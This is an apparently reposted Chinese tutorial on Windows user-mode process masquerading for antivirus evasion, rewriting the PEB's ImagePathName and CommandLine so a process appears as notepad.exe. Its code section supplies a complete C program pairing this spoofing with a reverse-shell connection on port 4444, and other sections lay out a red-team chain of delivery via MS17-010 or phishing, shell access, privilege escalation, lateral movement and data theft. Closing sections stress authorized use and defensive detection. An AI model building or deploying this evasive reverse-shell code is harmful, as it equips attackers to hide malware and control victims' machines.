目录

R3进程伪装(免杀技术)高阶技术说明

深入剖析Windows进程规避免杀技术

学习R3进程伪装的必备技能

R3进程伪装的核心知识点与实现步骤

核心知识点

实现步骤

免杀实现步骤

PEB与EPROCESS的深入解析

1. PEB(进程环境块)

2. EPROCESS

3. PEB与EPROCESS对比

关键API解析与使用方式

R3进程伪装免杀的详细步骤与方案

详细步骤

思路与方案

实用场景与红队应用

实用场景

红队应用步骤

通俗解释

优势与局限

代码示例与逐行解析

逐行解析

编译与运行

通讯流程图(文本模式)

流程解释

🧭 综述|为什么“免杀”被归类为高级技术?

🆚 免杀与渗透测试的“天壤之别”

🧩 R3 进程伪装为何仍属高级?(即便当下易被识别)

🧪 学习难点(面向安全工程师)

🧱 总结



R3进程伪装(免杀技术)高阶技术说明

  • 本文被归为高级技术文章,原因在于其深入探讨了Windows系统内部机制、低级系统编程以及进攻性安全技术的复杂概念。
  • 文章聚焦于在用户态(Ring 3)下通过操控进程环境块(PEB)实现进程伪装,以规避安全工具的检测。
  • 阅读本文需要具备以下基础知识:C语言编程、Windows API、内存管理、汇编语言,以及对反病毒规避和红队攻击等安全概念的熟悉。
  • 文章内容涉及动态API加载、NT级系统调用和直接内存操作,这些都是复杂且易出错的过程,通常仅适用于经验丰富的开发者或安全专家。
  • 此外,文章还结合了对内核结构(如EPROCESS)的详细分析以及代码示例,使其成为面向具有系统编程和网络安全高级知识读者的专业话题。
  • 所以即使是基础的免杀的技术也属于高级技术水平的范畴  !!!!

深入剖析Windows进程规避免杀技术

  • 在网络安全领域,尤其是在红队操作和恶意软件开发中,规避检测是至关重要的核心目标。
  • R3进程伪装:
    • 是一种强大的技术,通过在Windows用户态(Ring 3)下修改进程环境块(PEB),使恶意进程伪装成合法程序(如记事本),从而躲避任务管理器和杀毒软件的检测。
    • 本文将详细解析R3进程伪装的原理、实现步骤、代码示例以及在红队攻击中的应用,适合对Windows系统 internals 和免杀技术感兴趣的高级读者。

学习R3进程伪装的必备技能

  1. C语言编程基础

    • 内容:变量、指针、结构体、内存操作(如memcpystrcpy)、函数调用。

    • 作用:R3伪装涉及直接操作内存和调用Windows API,C语言是实现这些操作的基础。

    • 通俗解释:就像学会使用螺丝刀和扳手,才能拆装“进程的零件”。

    • 学习建议:熟悉指针(*&)和结构体(如struct定义),推荐阅读《C Primer Plus》。

  2. Windows操作系统基础

    • 内容:进程、线程、用户态(R3)与内核态(R0)的区别、Windows内存管理。

    • 作用:理解进程运行机制以及PEB和EPROCESS的存储位置。

    • 通俗解释:就像了解房子的结构,才能找到“户口本”(PEB)的存放位置。

    • 学习建议:阅读《Windows Internals》入门章节,掌握进程和线程的概念。

  3. Windows API基础

    • 内容:调用Windows函数(如GetCurrentProcess)、动态链接库(DLL)、函数指针。

    • 作用:伪装需要调用NtQueryInformationProcess等API获取PEB。

    • 通俗解释:API是“工具箱”,帮你打开进程的“锁”。

    • 学习建议:查阅MSDN文档,练习调用简单API(如MessageBox)。

  4. 内存与汇编基础

    • 内容:内存地址、寄存器(如fs/gs)、堆栈、偏移量。

    • 作用:通过TEB获取PEB需要了解内存偏移,汇编可直接操作寄存器。

    • 通俗解释:就像用地图和指南针找到“宝藏”(PEB)的具体位置。

    • 学习建议:学习x86/x64汇编基础,了解fs:[0x30](TEB到PEB的偏移)。

  5. 进程管理工具的使用

    • 内容:任务管理器、Process Explorer、Process Monitor的基本操作。

    • 作用:验证伪装效果,观察进程的路径和命令行。

    • 通俗解释:就像用放大镜检查伪装后的“身份证”是否成功。

    • 学习建议:下载Process Explorer,练习查看进程详细信息。

  6. 网络安全基础

    • 内容:恶意代码、免杀技术、杀毒软件检测原理、红队渗透测试概念。

    • 作用:理解伪装的意义,结合红队场景应用。

    • 通俗解释:知道“坏人”为什么要伪装,才能设计更好的伪装。

    • 学习建议:阅读《Web安全深度剖析》或CTF相关教程,了解免杀背景。


R3进程伪装的核心知识点与实现步骤

核心知识点

R3进程伪装是指在Windows用户态(Ring 3)下,通过修改PEB(进程环境块)结构体,使恶意进程看起来像合法程序(如notepad.exe),从而规避任务管理器和杀毒软件的检测。

  • PEB:进程的“身份证”,记录路径、命令行等信息。

  • 伪装目标:让任务管理器显示进程为notepad.exe,路径为C:\Windows\System32\notepad.exe

  • 局限性:仅对R3工具有效,对R0工具(如内核调试器)需修改EPROCESS。

  • 通俗解释:就像给“坏人”换上“好人”的衣服和证件,骗过普通检查。

实现步骤

  1. 获取当前进程句柄

    • 使用GetCurrentProcess获取进程句柄。

    • 作用:句柄是操作进程的“通行证”。

  2. 获取PEB地址

    • 使用NtQueryInformationProcess查询PEB地址,或通过TEB偏移(fs:[0x30])。

    • 作用:找到PEB的内存位置以进行修改。

  3. 定位关键字段

    • 访问PEB的ProcessParametersRTL_USER_PROCESS_PARAMETERS类型),找到ImagePathNameCommandLine

    • 作用:这些字段控制进程显示的路径和命令行。

  4. 修改字段

    • ImagePathName改为C:\Windows\System32\notepad.exe

    • CommandLine改为notepad.exe

    • 更新LengthMaximumLength字段。

    • 作用:伪装成合法程序的信息。

  5. 验证效果

    • 用任务管理器或Process Explorer检查进程是否显示为notepad.exe

    • 作用:确认伪装成功。

免杀实现步骤

  1. 开发恶意代码:编写包含伪装功能的程序,隐藏真实意图(如反向Shell)。

  2. 伪装PEB:修改PEB字段,伪装成记事本。

  3. 上传与执行:通过漏洞或社会工程上传到目标主机,运行程序。

  4. 躲避检测:杀毒软件读取PEB,未发现异常,允许运行。

  5. 执行恶意行为:建立Shell或执行其他攻击。


PEB与EPROCESS的深入解析

1. PEB(进程环境块)

  • 定义:PEB是用户态的结构体,存储进程的运行时信息,位于进程的私有内存。

  • 关键字段(参考winternl.h):

    typedef struct _PEB {BOOLEAN InheritedAddressSpace;    // 是否继承地址空间BOOLEAN ReadImageFileExecOptions; // 读取执行选项BOOLEAN BeingDebugged;            // 是否被调试BYTE Spare;HANDLE Mutant;                    // 互斥体句柄PVOID ImageBaseAddress;           // 镜像基址PVOID Ldr;                        // 模块加载信息RTL_USER_PROCESS_PARAMETERS* ProcessParameters; // 进程参数// 其他字段
    } PEB, *PPEB;
  • ProcessParameters

    typedef struct _RTL_USER_PROCESS_PARAMETERS {ULONG MaximumLength;              // 结构体最大长度ULONG Length;                     // 结构体实际长度ULONG Flags;                      // 标志位ULONG DebugFlags;                 // 调试标志HANDLE ConsoleHandle;             // 控制台句柄UNICODE_STRING CurrentDirectoryPath; // 当前目录HANDLE CurrentDirectoryHandle;    // 目录句柄UNICODE_STRING DllPath;           // DLL路径UNICODE_STRING ImagePathName;     // 镜像路径UNICODE_STRING CommandLine;       // 命令行// 其他字段
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
  • UNICODE_STRING

    typedef struct _UNICODE_STRING {USHORT Length;        // 字符串长度(字节)USHORT MaximumLength; // 缓冲区最大长度PWSTR Buffer;         // 字符串缓冲区
    } UNICODE_STRING, *PUNICODE_STRING;
  • 底层原理

    • 内存分配:进程创建时,Windows在用户态内存分配PEB,ProcessParameters指向另一块内存。

    • 访问方式:通过TEB的指针(fs:[0x30])或NtQueryInformationProcess获取PEB地址。

    • 修改机制:直接写入ImagePathName.BufferCommandLine.Buffer,更新长度字段。

  • 通俗解释:PEB是“身份证”,ProcessParameters是“详细信息页”,记录名字和地址,改了就能冒充别人。

2. EPROCESS

  • 定义:EPROCESS是内核态的结构体,存储进程的完整信息,位于内核内存。

  • 关键字段(部分,非公开,需内核调试查看):

    • ImageFileName:进程文件名(如notepad.exe)。

    • UniqueProcessId:进程ID。

    • SectionBaseAddress:可执行文件基址。

    • ActiveProcessLinks:进程链表。

  • 底层原理

    • 内存分配:进程创建时,内核分配EPROCESS,存储在非分页内存。

    • 访问方式:通过内核API(如PsGetProcessPeb)或驱动程序访问。

    • 修改难度:需内核权限,涉及驱动开发,修改可能影响句柄表、内存页等。

  • 通俗解释:EPROCESS是“户籍档案”,比PEB更权威,改它需要“公安局长”权限。

3. PEB与EPROCESS对比

特性PEBEPROCESS
位置用户态(R3)内核态(R0)
访问权限可直接修改需内核权限
检测工具任务管理器、Process ExplorerWinDbg、内核调试器
修改难度简单,适合初学者复杂,需驱动开发
伪装效果骗R3工具骗R0工具

关键API解析与使用方式

  1. GetCurrentProcess

    • 作用:获取当前进程的伪句柄(0xFFFFFFFF),无需打开即可使用。

    • 用法

      HANDLE hProcess = GetCurrentProcess();
    • 通俗解释:像领取“门票”,证明你是这个进程。

  2. NtQueryInformationProcess

    • 作用:查询进程信息,包括PEB地址。

    • 定义

      typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(HANDLE ProcessHandle,PROCESSINFOCLASS ProcessInformationClass,PVOID ProcessInformation,ULONG ProcessInformationLength,PULONG ReturnLength
      );
    • 用法

      PROCESS_BASIC_INFORMATION pbi;
      NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
      PEB* peb = pbi.PebBaseAddress;
    • 通俗解释:像问“警察”进程的“户口本”在哪,他告诉你地址。

  3. GetProcAddress与GetModuleHandle

    • 作用:动态获取API地址(如NtQueryInformationProcess)。

    • 用法

      pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
    • 通俗解释:像去“工具店”借“扳手”,动态获取工具。


R3进程伪装免杀的详细步骤与方案

详细步骤

  1. 准备环境

    • 工具:Visual Studio、MinGW,Windows 7/10/11(x86/x64)。

    • 目标:伪装为C:\Windows\System32\notepad.exe

    • 测试工具:任务管理器、Process Explorer、杀毒软件。

  2. 编写基础代码

    • 创建简单程序(如打印“Hello”),加入伪装功能。

  3. 获取进程句柄

    • 调用GetCurrentProcess

  4. 获取PEB地址

    • 使用NtQueryInformationProcess查询。

  5. 定位关键字段

    • 访问PEB->ProcessParameters->ImagePathNameCommandLine

  6. 修改字段

    • wcscpy复制记事本路径和命令行,更新长度字段。

  7. 验证效果

    • 检查任务管理器,确认显示为notepad.exe

  8. 添加恶意功能

    • 加入反向Shell或其他攻击代码。

思路与方案

  • 思路

    1. 隐藏真实身份:通过PEB修改,让进程表面合法。

    2. 动态加载API:避免静态导入被检测。

    3. 安全内存操作:检查缓冲区,防止崩溃。

    4. 测试与优化:多次验证,确保效果稳定。

  • 方案

    • 开发阶段:用C语言编写,结合Winsock实现Shell。

    • 测试阶段:在虚拟机测试,检查任务管理器和杀毒软件。

    • 部署阶段:通过漏洞或钓鱼上传,执行后获取控制权。

    • 优化阶段:加入加密、混淆,提高免杀能力。


实用场景与红队应用

实用场景

  • 渗透测试:红队上传恶意代码,伪装成合法进程以规避检测。

  • 恶意软件开发:木马、后门程序使用R3伪装提升隐蔽性。

  • 免杀研究:测试杀毒软件检测能力,开发新型免杀技术。

红队应用步骤

  1. 开发Payload:编写包含伪装和Shell功能的程序,伪装为记事本。

  2. 上传目标主机:利用漏洞(如MS17-010)或钓鱼邮件。

  3. 执行程序:伪装为notepad.exe,规避R3工具和杀毒软件。

  4. 获取Shell:建立反向TCP连接,获得命令行控制权。

  5. 后续操作:提权、横向移动、窃取数据。

通俗解释

  • 场景:你是个“间谍”,想混进敌方基地。伪装成“清洁工”(记事本),门卫(任务管理器)检查证件(PEB)后放行。

  • 效果:只要不遇到“高级特工”(R0工具),就能安全行动。

优势与局限

  • 优势:简单高效,适合初学者;对R3工具有效,隐蔽性强。

  • 局限:对R0工具无效;高级杀毒软件可能检测行为异常。


代码示例与逐行解析

以下是实现R3进程伪装的C语言代码,包含反向Shell功能:

#include <windows.h>
#include <winternl.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
​
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(HANDLE ProcessHandle,PROCESSINFOCLASS ProcessInformationClass,PVOID ProcessInformation,ULONG ProcessInformationLength,PULONG ReturnLength
);
​
int main() {// 1. 初始化WinsockWSADATA wsaData;if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {printf("Winsock初始化失败\n");return 1;}
​// 2. 获取NtQueryInformationProcess地址pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");if (!NtQuery) {printf("无法获取NtQueryInformationProcess\n");return 1;}
​// 3. 获取PEB地址PROCESS_BASIC_INFORMATION pbi;NTSTATUS status = NtQuery(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL);if (status != 0) {printf("NtQueryInformationProcess失败,状态码: 0x%X\n", status);return 1;}PEB* peb = pbi.PebBaseAddress;
​// 4. 获取进程参数RTL_USER_PROCESS_PARAMETERS* params = peb->ProcessParameters;
​// 5. 定义伪装目标const wchar_t* notepad_path = L"C:\\Windows\\System32\\notepad.exe";const wchar_t* notepad_cmdline = L"notepad.exe";
​// 6. 检查缓冲区大小size_t path_len = wcslen(notepad_path) * sizeof(wchar_t);size_t cmdline_len = wcslen(notepad_cmdline) * sizeof(wchar_t);if (path_len > params->ImagePathName.MaximumLength || cmdline_len > params->CommandLine.MaximumLength) {printf("缓冲区大小不足\n");return 1;}
​// 7. 修改ImagePathNamewcscpy(params->ImagePathName.Buffer, notepad_path);params->ImagePathName.Length = (USHORT)path_len;params->ImagePathName.MaximumLength = (USHORT)(path_len + sizeof(wchar_t));
​// 8. 修改CommandLinewcscpy(params->CommandLine.Buffer, notepad_cmdline);params->CommandLine.Length = (USHORT)cmdline_len;params->CommandLine.MaximumLength = (USHORT)(cmdline_len + sizeof(wchar_t));
​// 9. 测试伪装效果printf("进程已伪装为记事本\n");Sleep(5000);
​// 10. 模拟反向ShellSOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sock == INVALID_SOCKET) {printf("Socket创建失败\n");WSACleanup();return 1;}
​struct sockaddr_in server;server.sin_family = AF_INET;server.sin_port = htons(4444);inet_pton(AF_INET, "127.0.0.1", &server.sin_addr);
​if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {printf("连接服务器失败\n");closesocket(sock);WSACleanup();return 1;}
​// 11. 执行命令char buffer[1024];while (1) {int bytes = recv(sock, buffer, sizeof(buffer) - 1, 0);if (bytes <= 0) break;buffer[bytes] = '\0';printf("收到命令: %s\n", buffer);send(sock, "命令已执行\n", strlen("命令已执行\n"), 0);}
​closesocket(sock);WSACleanup();return 0;
}

逐行解析

  1. 包含头文件windows.h提供API,winternl.h定义PEB,winsock2.h用于网络。

  2. 定义API:声明NtQueryInformationProcess,确保兼容性。

  3. 初始化Winsock:为反向Shell准备网络环境。

  4. 动态加载API:从ntdll.dll获取函数地址,提高隐蔽性。

  5. 获取PEB:调用API,提取PebBaseAddress

  6. 定位参数peb->ProcessParameters指向路径和命令行。

  7. 检查缓冲区:防止溢出,确保安全。

  8. 修改字段:复制记事本信息,更新长度字段。

  9. 暂停测试:暂停5秒,检查任务管理器。

  10. 反向Shell:创建TCP连接,模拟攻击者控制。

  11. 命令执行:接收并处理攻击者命令。

编译与运行

  • 工具:Visual Studio,需链接ws2_32.lib

  • 步骤:编译为EXE,在攻击者机器监听端口4444,运行程序检查伪装和Shell。


通讯流程图(文本模式)

恶意进程         Windows API        PEB结构           工具/杀软           攻击者服务器│                  │                 │                  │                     ││ --(1)--> 获取当前进程句柄: GetCurrentProcess│ ---------------->││                  ││ --(2)--> 查询PEB地址: NtQueryInformationProcess│ ---------------->││                  ││ <--(3)-- 获取PEB->ProcessParameters│ <----------------││                  ││ --(4)--> 修改ImagePathName = "C:\Windows\System32\notepad.exe"│ ---------------->││ --(5)--> 修改CommandLine = "notepad.exe"│ ---------------->││ --(6)--> 更新UNICODE_STRING的Length和MaximumLength字段│ ---------------->││                  ││ --(10)--> 创建远程Shell连接│ --------------------------------------------------->││                                                    ││ <--(11)-- 攻击者控制Shell│ <---------------------------------------------------││                  ││ <--(7)-- 工具(任务管理器)读取PEB参数│ <-------------------------------││                  ││ --(8)--> 显示为notepad.exe│ ------------------------------>││                  ││ <--(9)-- 杀毒软件查询PEB字段,未发现异常│ <-------------------------------│

流程解释

  1. 进程启动,获取句柄。

  2. 查询PEB地址。

  3. 定位ProcessParameters。 4-5. 修改路径和命令行。

  4. 更新长度字段。 7-9. 任务管理器和杀毒软件读取PEB,显示伪装信息。 10-11. 建立反向Shell,执行攻击者命令。

🧭 综述|为什么“免杀”被归类为高级技术?

“免杀”(Evasion/EDR Bypass)之所以被视为高级安全工程师范畴,核心在于它要求对操作系统内部机理安全产品侦测链条对抗性思维工程落地能力的深度融合:

  • 系统内核与用户态协同认知:理解 R0(内核)与 R3(用户态)数据结构、调用路径、内存布局及其一致性校验逻辑(如 PEB ↔ EPROCESS 的多视角交叉校验)。

  • 侦测面与遥测面洞察:熟悉 EDR/AV 的特征、行为、内存、内核、云侧等多引擎规则,明白自己每一步会在哪里留下信号

  • 对抗性设计与策略迁移:知道“今天有效”不代表“明天仍有效”,需要以快速迭代、变体生成、降噪隐蔽为导向的工程方法论。

  • 高风险与高要求的伦理/合规边界:只在授权场景下用于“验证与加固”,并对可复现性/可回滚最小影响原则负责。

结论:免杀 ≠ 常规渗透测试的一个子步骤,它是对抗工程本身,强调“被看见/被还原/被阻断”难度的系统性降低,因此属于高级技术序列。

🆚 免杀与渗透测试的“天壤之别”

  • 目标不同

    • 渗透测试:以发现漏洞与风险为目标,强调可验证性报告性(复现路径、影响评估、修复建议)。

    • 免杀/对抗:以降低被检测概率为目标,强调对抗性隐匿性持久性,并考虑侦测面噪声管理取证抗性

  • 工作对象不同

    • 渗透测试:围绕业务/应用/网络暴露面(Web、AD、配置缺陷等)。

    • 免杀/对抗:围绕主机遥测链(API、系统调用、内核对象、内存图像、事件日志、ETW、驱动通信)。

  • 能力栈不同

    • 渗透测试:协议、资产、攻击面、漏洞利用链条。

    • 免杀/对抗:Windows Internals、内存工学、编译与链接、加载器、反沙箱、反调试、威胁情报与检测逻辑反推。

因此,“免杀”在组织里更接近红/蓝/红队交叉的对抗工程师角色,而非传统渗透岗位。

🧩 R3 进程伪装为何仍属高级?(即便当下易被识别)

  • 机制复杂:涉及对 PEB(进程环境块)RTL_USER_PROCESS_PARAMETERS 等用户态结构的理解与一致性维护;任何疏漏都会在系统调用链/遥测层产生“畸变痕迹”。

  • 检测不断演进:现代 EDR/AV 通过多源交叉验证(内核 EPROCESS 视图、句柄表、Image Load、ETW、父子进程血缘、命令行/签名/令牌一致性等)能较易识别单点伪装。这恰恰说明要想持久规避,必须掌握更系统的对抗工程能力

  • 工程门槛高:不仅要“改得动”,还要“不失稳不破坏不暴露”,包括内存安全、异常处理、回滚策略、兼容性与崩溃转储影响评估。

结论:“容易被识别 ≠ 不是高级”。R3 伪装是理解 Windows 进程生态与遥测对抗的必修课,其思维与方法对任何对抗技术都有迁移价值。

🧪 学习难点(面向安全工程师)

  1. Windows Internals 深度:对象管理器、内核对象生命周期、句柄与引用计数、线程与进程创建路径(包括 CSRSS/SMSS 参与)等。

  2. 内存与字符串安全:结构体布局、对齐、长度字段语义、Unicode 与 ANSI 边界、边界检查、异常安全。

  3. 遥测生态学:理解 ETW/Sysmon/EDR 采集的维度与缺陷,知道“什么会被看见如何被还原”。

  4. 对抗与取证共识:蓝队如何复盘(内核对象漫游、内存取证、事件时间线),对抗侧如何降噪(合规研究前提下)。

  5. 可迁移工程力:编译/链接/加载器知识、异常处理、兼容性与稳定性测试、崩溃分析。

🧱 总结

  • 免杀是将系统原理、遥测理解与对抗工程融为一体的高阶能力

  • R3 进程伪装作为入门级对抗题材,能帮助团队建立“R3 表象 vs R0 事实”的认知框架。

  • 现代防御的关键在于多源交叉行为关联,把“伪装”从特征问题升级为系统还原问题

  • 任何实践请严格遵循授权与合规要求,目标是提升防守方能力而非制造风险。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/97704.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/97704.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/97704.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习——基于卷积神经网络实现食物图像分类(数据增强)

文章目录 引言 一、项目概述 二、环境准备 三、数据预处理 3.1 数据增强与标准化 3.2 数据集准备 四、自定义数据集类 五、构建CNN模型 六、训练与评估 6.1 训练函数 6.2 评估函数 6.3 训练流程 七、关键技术与优化 八、常见问题与解决 九、完整代码 十、总结 引言 本文将详细介…

【开题答辩全过程】以 基于微信小程序的教学辅助系统 为例,包含答辩的问题和答案

个人简介一名14年经验的资深毕设内行人&#xff0c;语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…

【代码解读】Deepseek_vl2中具体代码调用

【代码解读】Deepseek_vl2中具体代码调用 文章目录【代码解读】Deepseek_vl2中具体代码调用DeepseekVLV2Processor解读DeepseekVLV2ForCausalLM - 多模态模型DeepSeek-VL2 Processor的输入格式单样本格式多样本格式DeepSeek-VL2模型的输出形式总结主要输出类型&#xff1a;Deep…

Git 9 ,.git/index.lock 文件冲突问题( .git/index.lock‘: File exists. )

目录 前言 一、问题背景 1.1 问题出现场景 1.2 典型报错信息 1.3 问题影响 二、问题原因分 2.1 Git 的 index 与锁机制 2.2 主要作用 2.3 根本原因 三、解决方案 3.1 确认进程 3.2 手动删除 3.3 再次执行 四、注意事项 4.1 确保运行 4.2 问题排查 4.3 自动化解…

Proteus8 仿真教学全指南:从入门到实战的电子开发利器

在电子设计、单片机课程设计或创客实践中&#xff0c;你是否常因实物采购贵、新手怕烧板、调试排错难而头疼&#xff1f;Proteus8 作为一款 “全能型” EDA 仿真工具&#xff0c;完美解决这些痛点 —— 它集「原理图绘制 PCB 设计 虚拟仿真」于一体&#xff0c;支持 51、STM3…

系统科学:结构、功能与层级探析

摘要本文旨在系统性地梳理和辨析系统科学中的核心概念——结构、功能与层级。文章首先追溯系统思想的理论源流&#xff0c;确立其作为一种超越还原论的整体性研究范式。在此基础上&#xff0c;深度剖析系统结构的内在构成&#xff08;组分、框架、动态性&#xff09;、系统层级…

面试官问:你如何看待薪资待遇?

在面试过程中&#xff0c;“你如何看待薪资待遇&#xff1f;”这个问题&#xff0c;是很多面试官都会提出的经典问题之一。虽然表面上看起来是一个简单的提问&#xff0c;但它实则关乎候选人的职业价值观、工作态度以及对自己能力的认知。薪资是工作的重要动力之一&#xff0c;…

HarmonyOS 应用开发新范式:深入剖析 Stage 模型与 ArkUI 最佳实践

好的&#xff0c;请看这篇基于 HarmonyOS (鸿蒙) 最新技术栈的深度技术文章。 HarmonyOS 应用开发新范式&#xff1a;深入剖析 Stage 模型与 ArkUI 最佳实践 引言 随着 HarmonyOS 4、5 的持续演进和未来 6 的规划&#xff0c;其应用开发框架经历了革命性的重构。对于技术开发者…

【Python数据可视化:Matplotlib高级技巧】

Python数据可视化&#xff1a;Matplotlib高级技巧引言在数据科学和分析领域&#xff0c;数据可视化是理解和传达信息的关键工具。Python中最流行的可视化库之一就是Matplotlib。虽然初学者可以快速上手Matplotlib的基础功能&#xff0c;但掌握其高级技巧才能真正发挥这个强大库…

LazyLLM教程 | 第7讲:检索升级实践:亲手打造“更聪明”的文档理解系统!

本节&#xff0c;我们将首先介绍如何评价 RAG 的检索组件&#xff0c;帮助您理解如何衡量 RAG 系统的检索能力。随后&#xff0c;我们会深入探讨几种提升 RAG 系统检索组件效果的策略实现以及对应的效果对比&#xff1a;1.基于 LazyLLM 实现查询重写策略。2.介绍 LazyLLM 中的节…

rust语言 (1.88) egui (0.32.1) 学习笔记(逐行注释)(二十四)窗口颜色、透明度、居中显示

一、窗口颜色和透明度 &#xff08;一&#xff09;效果预览&#xff08;二&#xff09;透明窗体主要代码 use eframe::egui; use egui::Color32;fn main() -> eframe::Result<()> {let options eframe::NativeOptions {viewport: egui::ViewportBuilder::default() …

基于无人机的风电叶片全自动智能巡检:高精度停角估计与细节优先曝光调控技术

【导读】 本文致力于解决一个非常实际的工业问题&#xff1a;如何利用无人机&#xff08;UAV&#xff09;全自动、高效、可靠地检查风力涡轮机叶片。叶片是风力发电机组中最昂贵且易损的部件之一&#xff0c;定期检查至关重要。然而&#xff0c;当前的技术在自动化过程中面临几…

腾讯云上有性能比较强的英伟达GPU

腾讯云上有性能比较强的英伟达GPU A100&#xff0c;虽然落后3~4代&#xff0c;但是估计是最强的英伟达GPU了。

AI任务相关解决方案13-AI智能体架构方案(意图识别+多任务规划+MCP+RAG)与关键技术深度解析研究报告,以及实现代码

文章目录 1. 总体技术方案 2. 生成式大模型(LLM):Data Agent的大脑 3. 意图识别:准确理解用户意图 3.1 基于BERT的微调方法 3.2 基于大语言模型(LLM)的零样本/少样本方法 4. 多任务规划:提升架构的灵活性 4.1 任务分解与规划 4.2 多智能体协作规划 4.3 基于强化学习的规划方…

每日五个pyecharts可视化图表日历图和箱线图:从入门到精通

&#x1f4ca; 本文特色&#xff1a;从零开始掌握日历图和箱线图可视化技巧&#xff0c;包含多个完整实例、核心配置项解析和实用场景指南&#xff0c;助您快速构建专业数据可视化图表。pyecharts源码 目录什么是日历图和箱线图&#xff1f;&#x1f4c5; 日历图&#xff08;Ca…

在本地获取下载chrome,然后离线搬运到 ECS

场景&#xff1a; 阿里云 ECS 无Y网&#xff0c;无法直接拉取 storage.googleapis.com。因此需先在本地里拿到直链并下载&#xff0c;再上传到 ECS。 注&#xff1a; 这个链接是显示近期的几个版本 https://googlechromelabs.github.io/chrome-for-testing/ 这个链接是所有版…

小土堆目标检测笔记

文章目录1 什么是目标检测2 目标检测常见的数据集2.1 目标检测数据集2.2 目标检测数据集的标注2.3 目标检测工具介绍3 数据集的标注3.1 VOC数据集标注3.2 加载数据集1 什么是目标检测 希望计算机在视频或图像中定位并识别我们感兴趣的目标 定位&#xff1a;找到目标在图像中的…

Linux内核内存管理系列博客教程学习规划

&#x1f4da; 系列总体目标 帮助读者系统理解Linux内核内存管理机制&#xff0c;从基础概念到核心实现&#xff0c;最终能参与内核内存相关开发。&#x1f4c5; 系列大纲&#xff08;共20篇博文&#xff09; 第一部分&#xff1a;基础概念篇&#xff08;4篇&#xff09;Linux内…

2025应届生求职指南:掌握这些新兴技能提升竞争力

2025应届生求职指南&#xff1a;掌握这些新兴技能提升竞争力2025-09-01 21:29:35在当前就业市场竞争日益激烈的背景下&#xff0c;2025届应届生既面临挑战&#xff0c;也迎来新的发展机遇。科技不断进步与行业变革推动了人才需求结构的变化&#xff0c;掌握一些新兴技能已成为提…

DevOps篇之Jenkins实现k8s集群版本发布以及版本管理

设计思路 通过Jenkins 实现 Kubernetes 集群的版本发布和版本管理。并且利用Jenkins实现多集群 K8s 发布。首先需要了解Helm 的应用场景&#xff0c;以及 GitLab 中配置多集群 KUBECONFIG 等问题。现在工具采用 Jenkins&#xff0c;所以需要重点放在 Jenkins 与 K8s 的集成上&a…